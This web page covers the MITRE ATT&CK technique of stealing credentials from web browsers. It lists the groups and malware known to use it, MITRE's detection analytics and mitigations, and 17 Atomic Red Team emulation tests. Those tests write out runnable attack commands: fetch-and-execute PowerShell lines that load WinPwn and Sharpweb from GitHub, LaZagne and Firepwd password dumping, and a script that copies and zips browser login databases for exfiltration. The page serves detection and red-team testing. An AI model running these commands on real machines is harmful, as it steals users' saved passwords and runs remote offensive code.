APT42G1044 ↗
Has used custom malware to steal credentials.1
tfMITRE ATT&CK sub-technique
Credentials from Web Browsers T1555.003
sub-technique of T1555 Credentials from Password Stores
- Tactic
- Credential Access
- Platforms
- Linux, macOS, Windows
- Version
- 1.2
- Created
- 12 February 2020
- Last modified
- 12 May 2026
- Contributors
- Ryan Benson, Exabeam; Barry Shteiman, Exabeam; Sylvain Gil, Exabeam; RedHuntLabs, @redhuntlabs; Don Le, Stifel Financial
Adversaries may acquire credentials from web browsers by reading files specific to the target browser.[1] Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
23
Threat groupsTop 8%
Threat groups92nd percentile · 92% of ATT&CK techniques have this many threat groups attributed or fewer.2
CampaignsTop 17%
Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.64
Tools & malwareTop 6%
Tools & malware94th percentile · 94% of ATT&CK techniques have this many tools implementing them or fewer.13
Detection rulesTop 19%
Detection rules81st percentile · 81% of ATT&CK techniques have this many detection rules written or fewer.Credentials from Web Browsers MITRE reference T1555.003
Top 8%of all ATT&CK techniques for number of groups
23 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
RedCurlG1039 ↗
MalteiroG1026 ↗
Has stolen credentials stored in the victim’s browsers via software tool NirSoft WebBrowserPassView.1
Volt TyphoonG1017 ↗
Has targeted network administrator browser data including browsing history and stored credentials.1
LAPSUS$G1004 ↗
Has obtained passwords and session tokens with the use of the Redline password stealer.1
Ajax Security TeamG0130 ↗
Has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.1
All 23 groups for this technique · 6 newest in this preview
2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Juicy MixC0044 ↗
During Juicy Mix, OilRig used the CDumper (Chrome browser) and EDumper (Edge browser) to collect credentials.1
SolarWinds CompromiseC0024 ↗
During the SolarWinds Compromise, APT29 stole users' saved passwords from Chrome.1
All 2 campaigns for this technique
64 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
MirrorStealerS9022 ↗
GlassWormS9010 ↗
Has gathered credentials stored in Mozilla FireFox and Chromium-based Browsers.12
BeaverTailS1246 ↗
Has stolen passwords saved in web browsers.1234 BeaverTail has also been known to collect login data from Firefox within key3.db, key4.db and logins.json from /.mozilla/firefox/ for exfiltration.5
InvisibleFerretS1245 ↗
Has stolen login data, autofill data, cryptocurrency wallets, and payment information saved in web browsers such as Chrome, Brave, Opera, Yandex and Edge, to include versions affiliated with major operating systems on Windows, Linux, and macOS.12 InvisibleFerret has also leveraged the command ssh_zcp to copy browser data to include extensions and cryptocurrency wallet data.3
RedLine StealerS1240 ↗
Was designed to steal sensitive information from web browsers, including credit card details, saved credentials, and autocomplete data.1 RedLine Stealer can also gather credentials from several browsers.234
Lumma StealerS1213 ↗
Has gathered credential and other information from multiple browsers.123
All 64 software entries for this technique · 6 newest in this preview
Offense vs defense T1555.003
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 2Sigma rules (cumulative) · 8Splunk ESCU (cumulative) · 5
first rule: 2021 Q3 · 2 of 2 campaigns plottedCredentials from Web Browsers detection strategy DET0037
MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detect Suspicious Access to Browser Credential Stores
3 platforms
AN0105 · Windows
Detects unauthorized access to web browser credential stores (e.g., Chrome Login Data, Edge Credential Locker) by processes other than the browser itself. Correlates file reads of credential databases with subsequent API calls to CryptUnprotectData or memory inspection attempts.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Process AccessDC0035 | WinEventLog:Sysmon | EventCode=10 |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| MonitoredPaths | Browser-specific credential storage paths such as Chrome Login Data, IE Credential Locker |
| TimeWindow | Correlation window between file read and process memory/API access |
AN0106 · Linux
Detects attempts to access browser credential stores (e.g., Firefox logins.json, Chrome SQLite DB) or processes (e.g., gnome-keyring-daemon). Observes unauthorized file reads and memory inspection of browser processes using ptrace or gdb.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process AccessDC0035 | auditd:SYSCALL | ptrace attach |
| File AccessDC0055 | auditd:FILE | /home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| BrowserCredentialFiles | Paths of web browser credential databases to monitor |
| AllowedDebuggers | List of expected debugging tools for dev/test environments |
AN0107 · macOS
Detects abnormal access to Safari credential stores (Keychain-backed) or Chrome/Firefox login databases. Observes processes executing security dump-keychain or directly reading credential files in ~/Library/Application Support. Correlates file access with suspicious process ancestry or unsigned binaries.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | execution of security, sqlite3, or unauthorized binaries |
| File AccessDC0055 | macos:unifiedlog | ~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PrivilegedUsers | Expected user context authorized to unlock Keychain or browser databases |
| TimeWindow | Correlation window for process execution and credential file access |
Password PoliciesM1027
Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.
Restrict or block web-based content that could be used to extract session cookies or credentials stored in browsers. Use browser security settings, such as disabling third-party cookies and restricting browser extensions, to limit the attack surface.
Update SoftwareM1051
Regularly update web browsers, password managers, and all related software to the latest versions. Keeping software up-to-date reduces the risk of vulnerabilities being exploited by attackers to extract stored credentials or session cookies.
Implement strict user account management policies to prevent unnecessary accounts from accessing sensitive systems. Regularly audit user accounts to identify and disable inactive accounts that may be targeted by attackers to extract credentials or gain unauthorized access.
User TrainingM1017
Provide user training on secure practices for managing credentials, including avoiding storing sensitive passwords in browsers and using password managers securely. Users should also be educated on identifying phishing attempts that could steal session cookies or credentials.
Tests18ExecutorsPowerShell 12 · sh 4 · cmd 2Need elevation3 of 18Have prerequisites12Have cleanup13Platformswindows, macos, linux
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Run Chrome-password Collector | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||
A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}. Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb. Adapted from MITRE ATTACK Evals Input arguments
Attack command Start-Process "#{file_path}\Sysinternals\accesschk.exe" -ArgumentList "-accepteula ."
Cleanup command Remove-Item "#{file_path}\Sysinternals" -Force -Recurse -ErrorAction Ignore
Prerequisite Modified Sysinternals must be located at #{file_path} Check if (Test-Path "#{file_path}\SysInternals") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
Expand-Archive "#{file_path}\Modified-SysInternalsSuite.zip" "#{file_path}\sysinternals" -Force
Remove-Item "#{file_path}\Modified-SysInternalsSuite.zip" -Force
GUID48aa3d84-d46c-4cb0-9d7e-ac8781cf9029 | ||||||||||||||||||||||||||||||||
| 02 | Search macOS Safari Cookies | macos | sh | — | — | — | ||||||||||||||||||||||||||
This test uses Input arguments
Attack command cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
GUID063fbd07-90fa-436c-94fa-1c64d4e36cb2 | ||||||||||||||||||||||||||||||||
| 03 | LaZagne - Credentials from Browser | windows | cmd | Required | 1 | — | ||||||||||||||||||||||||||
The following Atomic test utilizes LaZagne to extract passwords from browsers on the Windows operating system. LaZagne is an open source application used to retrieve passwords stored on a local computer. Input arguments
Attack command "#{lazagne_path}" browsers
Prerequisite LaZagne.exe must exist on disk at specified location (#{lazagne_path}) Check if (Test-Path "#{lazagne_path}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{lazagne_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe" -OutFile "#{lazagne_path}"
GUIDb5977030-b804-4175-ac29-6d05e7eca997 | ||||||||||||||||||||||||||||||||
| 04 | Simulating access to Chrome Login Data | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||
Simulates an adversary accessing encrypted credentials from Google Chrome Login database. Attack command Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads" Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "PathToAtomicsFolder\..\ExternalPayloads" Cleanup command Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account" -Force -ErrorAction Ignore Prerequisite Chrome must be installed Check if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi msiexec /i $installer /qn Start-Process -FilePath "chrome.exe" Stop-Process -Name "chrome" GUID8bb48fdd-03f3-4bf9-886d-a9e05b914020 | ||||||||||||||||||||||||||||||||
| 05 | Simulating access to Opera Login Data | windows | PowerShell | — | 2 | Yes | ||||||||||||||||||||||||||
Simulates an adversary accessing encrypted credentials from Opera web browser's login database. Attack command Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination "PathToAtomicsFolder\..\ExternalPayloads" Cleanup command Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Login Data" -Force -ErrorAction Ignore Prerequisite Opera must be installed Check if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe") -Or (Test-Path "C:\Program Files\Opera\launcher.exe") -Or (Test-Path "C:\Program Files (x86)\Opera\launcher.exe"))) {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe" Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\OperaStandaloneInstaller.exe" https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0' Start-Sleep -s 180 Stop-Process -Name "opera" Prerequisite Opera login data file must exist Check if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login Data") {exit 0} else {exit 1}Satisfy New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login Data" -ItemType File GUIDd48720db-d308-4633-b134-0edaed59b4df | ||||||||||||||||||||||||||||||||
| 06 | Simulating access to Windows Firefox Login Data | windows | PowerShell | — | 2 | Yes | ||||||||||||||||||||||||||
Simulates an adversary accessing encrypted credentials from firefox web browser's login database. more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data Attack command Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination "PathToAtomicsFolder\..\ExternalPayloads" -Force -Recurse Cleanup command Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Profiles" -Force -ErrorAction Ignore -Recurse Prerequisite Firefox must be installed Check if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"}else {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US"}
$installer = "PathToAtomicsFolder\..\ExternalPayloads\firefoxsetup.exe"
(New-Object Net.WebClient).DownloadFile($url,$installer)
Start-Process $installer -ArgumentList '/S' -Wait
Prerequisite Firefox login data file must exist Check if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit 0} else {exit 1}Satisfy if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"}else {$firefox="C:\Program Files (x86)\Mozilla Firefox\firefox.exe"}
Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
Start-Process $firefox -NoNewWindow
Start-Sleep -s 20
Stop-Process -Name firefox
GUID10407ab9-ea7d-47f7-a9fa-516164e5fe40 | ||||||||||||||||||||||||||||||||
| 07 | Simulating access to Windows Edge Login Data | windows | PowerShell | — | 2 | Yes | ||||||||||||||||||||||||||
Simulates an adversary accessing encrypted credentials from Edge web browser's login database. more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/ Attack command Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -Recurse Cleanup command Remove-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\Edge" -Force -ErrorAction Ignore -Recurse Prerequisite Edge must be installed Check if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe") {exit 0} else {exit 1}Satisfy "Installation is not implemented as Edge is a part of windows" Prerequisite Edge login data file must exist Check if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default") {exit 0} else {exit 1}Satisfy $edge="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" Start-Process $edge Start-Sleep -s 20 Stop-Process -Name msedge GUID37a8d96d-be44-4001-b8d0-2aaef1f52771 | ||||||||||||||||||||||||||||||||
| 08 | Decrypt Mozilla Passwords with Firepwd.py | windows | PowerShell | — | 7 | Yes | ||||||||||||||||||||||||||
Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords. Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution. Input arguments
Attack command $PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}
cat #{Out_Filepath}
Cleanup command Remove-Item -Path "#{Out_Filepath}" -erroraction silentlycontinue
Prerequisite Firefox profile directory must be present Check if (get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\" -erroraction silentlycontinue) {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/Firefox%20Setup%2098.0.msi" -outfile "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" msiexec.exe /i "PathToAtomicsFolder\..\ExternalPayloads\firefox.msi" /quiet sleep -s 30 start-process "$env:programfiles\Mozilla Firefox\firefox.exe". sleep -s 5 stop-process -name "firefox" Prerequisite Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path} Check if (Test-Path "#{VS_CMD_Path}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://aka.ms/vs/17/release/vs_BuildTools.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe" write-host "Visual Studio Build Tools (Desktop Development with C++) must be installed manually. Please run the installer from PathToAtomicsFolder\..\ExternalPayloads\VS_BuildTools.exe." Prerequisite Python must be installed Check if (Test-Path "#{Python_Path}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait Prerequisite Computer must have venv configured at #{venv_path} Check if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
Satisfy py -m venv "#{venv_path}"
Prerequisite Firepwd must exist at #{Firepwd_Path} Check if (Test-Path "#{Firepwd_Path}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a7ba8b8bc427283f827b6885982/firepwd.py" -outfile "#{Firepwd_Path}"
Prerequisite Pycryptodome library must be installed Check if (#{venv_path}\Scripts\pip.exe show pycryptodome) {exit 0} else {exit 1}
Satisfy if (test-path "#{VS_CMD_Path}"){#{venv_path}\Scripts\pip.exe install pycryptodome | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null} else {write-host "Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq"}
Prerequisite Pyasn1 library must be installed Check if (#{venv_path}\Scripts\pip.exe show pyasn1) {exit 0} else {exit 1}
Satisfy if (test-path "#{VS_CMD_Path}") & {#{venv_path}\Scripts\pip.exe install pyasn1 | out-null | cmd /c %comspec% /k "#{VS_CMD_Path}" | out-null} else {write-host "Visual Studio Build Tools (C++ Support) must be installed to continue gathering this prereq."}
GUID017decbc-9121-4bf0-a01f-50c245f863c2 | ||||||||||||||||||||||||||||||||
| 09 | LaZagne.py - Dump Credentials from Firefox Browser | linux | sh | Required | 2 | Yes | ||||||||||||||||||||||||||
Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne Input arguments
Attack command python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}Cleanup command rm -R /tmp/LaZagne; rm -f #{output_file}Prerequisite Get Lazagne from Github and install requirements Check test -f #{lazagne_path}/laZagne.pySatisfy cd /tmp; git clone https://github.com/AlessandroZ/LaZagne; cd /tmp/LaZagne/; pip install -r requirements.txt Prerequisite Needs git, python3 and some pip stuff Check which git && which python3 && which pip Satisfy apt install git; apt install python3-pip -y; pip install pyasn1 psutil Crypto GUID236cced6-89ae-4589-aaa3-3d9cee3069dc | ||||||||||||||||||||||||||||||||
| 10 | Stage Popular Credential Files for Exfiltration | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it, simulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like firepwd.py or HackBrowserData. Attack command $exfil_folder = "$env:temp\T1555.003"
if (test-path "$exfil_folder") {} else {new-item -path "$env:temp" -Name "T1555.003" -ItemType "directory" -force}
$FirefoxCredsLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
if (test-path "$FirefoxCredsLocation\key4.db") {copy-item "$FirefoxCredsLocation\key4.db" -destination "$exfil_folder\T1555.003Firefox_key4.db"} else {}
if (test-path "$FirefoxCredsLocation\logins.json") {copy-item "$FirefoxCredsLocation\logins.json" -destination "$exfil_folder\T1555.003Firefox_logins.json"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data" -destination "$exfil_folder\T1555.003Chrome_Login Data"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data For Account") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data For Account" -destination "$exfil_folder\T1555.003Chrome_Login Data For Account"} else {}
if (test-path "$env:appdata\Opera Software\Opera Stable\Login Data") {copy-item "$env:appdata\Opera Software\Opera Stable\Login Data" -destination "$exfil_folder\T1555.003Opera_Login Data"} else {}
if (test-path "$env:localappdata/Microsoft/Edge/User Data/Default/Login Data") {copy-item "$env:localappdata/Microsoft/Edge/User Data/Default/Login Data" -destination "$exfil_folder\T1555.003Edge_Login Data"} else {}
compress-archive -path "$exfil_folder" -destinationpath "$exfil_folder.zip" -force
Cleanup command Remove-Item -Path "$env:temp\T1555.003.zip" -force -erroraction silentlycontinue Remove-Item -Path "$env:temp\T1555.003\" -force -recurse -erroraction silentlycontinue GUIDd4f29bc4-2a23-4f8d-8d39-3e4d4cc05911 | ||||||||||||||||||||||||||||||||
| 11 | WinPwn - BrowserPwn | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn. Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
browserpwn -consoleoutput -noninteractiveCleanup command rm .\System.Data.SQLite.dll -ErrorAction Ignore GUIDeaa6ea61-06d6-479a-ac74-4343e42a6fdf | ||||||||||||||||||||||||||||||||
| 12 | WinPwn - Loot local Credentials - mimi-kittenz | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
kittenz -consoleoutput -noninteractiveGUID59a967ca-f5b2-47bd-9215-f61f823daf1c | ||||||||||||||||||||||||||||||||
| 13 | WinPwn - PowerSharpPack - Sharpweb for Browser Credentials | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
Invoke-Sharpweb -command "all"GUID235cf0e1-43bb-4c39-bbcb-7c0c4c612f60 | ||||||||||||||||||||||||||||||||
| 14 | Simulating Access to Chrome Login Data - MacOS | macos | sh | — | — | Yes | ||||||||||||||||||||||||||
This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . Attack command cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data" cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account" Cleanup command rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1 rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1 GUIDa6205751-06c1-443a-8713-d10029410dbf | ||||||||||||||||||||||||||||||||
| 15 | WebBrowserPassView - Credentials from Browser | windows | PowerShell | Required | 1 | — | ||||||||||||||||||||||||||
The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware. Input arguments
Attack command Start-Process "#{webbrowserpassview_path}"
Start-Sleep -Second 4
Stop-Process -Name "WebBrowserPassView"
Prerequisite Check if WebBrowserPassView.exe exists in the specified path #{webbrowserpassview_path} Check if (Test-Path "#{webbrowserpassview_path}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction ignore -Force | Out-Null
Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile "#{webbrowserpassview_path}"
GUIDc25903d1-70b5-41ae-bd28-9725a50633d4 | ||||||||||||||||||||||||||||||||
| 16 | BrowserStealer (Chrome / Firefox / Microsoft Edge) | windows | PowerShell | — | 3 | Yes | ||||||||||||||||||||||||||
Github Repo Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line. If using to test with Firefox, if the browser is x64 you need to use the x64 build Attack command $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Copy-Item $profile\key4.db -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null Copy-Item $profile\logins.json -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\key4.db" -Destination $profile\ > $null Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\logins.json" -Destination $profile\ > $null cd "$env:PathToAtomicsFolder\T1555.003\bin" ""|.\BrowserCollector.exe Cleanup command $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads" -Destination $profile\ > $null Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\key4.db" > $null Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\logins.json" > $null Prerequisite Firefox must be on the device. Check if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\FirefoxStubInstaller.exe" Invoke-WebRequest -OutFile $installer "https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US" Start-Process -FilePath $installer -Wait Stop-Process -Name "firefox" Prerequisite BrowserCollector must exist in the bin directory Check if (Test-Path "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe" -Outfile: "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe" Prerequisite Login Data file that is a copy of a Firefox Login Data that contains credentials for the tool to "steal." Must exist at the specified path. Check if (Test-Path "PathToAtomicsFolder\T1555.003\src\key4.db") {exit 0} else {exit 1}Satisfy Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/key4.db?raw=true" -Outfile: "PathToAtomicsFolder\T1555.003\src\key4.db" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/logins.json?raw=true" -Outfile: "PathToAtomicsFolder\T1555.003\src\logins.json" GUIDaf6baa89-bfcc-4fd0-bc6c-2e252b6aad91 | ||||||||||||||||||||||||||||||||
| 17 | Dump Chrome Login Data with esentutl | windows | cmd | — | 1 | Yes | ||||||||||||||||||||||||||
This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database. Reference Input arguments
Attack command esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /d "#{output_path}"
Cleanup command del /f /q #{output_path} > nul 2>&1
